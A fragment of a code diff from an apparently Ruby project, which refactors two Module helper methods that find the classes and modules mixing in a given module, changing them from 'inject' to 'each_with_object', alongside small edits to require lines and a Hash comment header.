@@ -13,4 +13,3 @@ require 'core/ruby/object'
require 'core/ruby/string'
require 'core/ruby/print'
require 'core/ruby/hash'

View File

@@ -4,7 +4,6 @@
# See the file 'doc/COPYING' for copying permission
#
class Hash
# Recursively deep merge two hashes together
# @param [Hash] hash Hash to be merged
# @return [Hash] Combined hash

View File

@@ -4,16 +4,14 @@
# See the file 'doc/COPYING' for copying permission
#
class Module
# Returns the classes in the current ObjectSpace where this module has been mixed in according to Module#included_modules.
# @return [Array] An array of classes
def included_in_classes
classes = []
ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) }
classes.reverse.inject([]) do |unique_classes, klass|
classes.reverse.each_with_object([]) do |klass, unique_classes|
unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s)
unique_classes
end
end
@@ -23,9 +21,8 @@ class Module
modules = []
ObjectSpace.each_object(Module) { |k| modules << k if k.included_modules.include?(self) }
modules.reverse.inject([]) do |unique_modules, klass|
modules.reverse.each_with_object([]) do |klass, unique_modules|
unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s)
unique_modules
end
end
end

Some files were not shown because too many files have changed in this diff Show More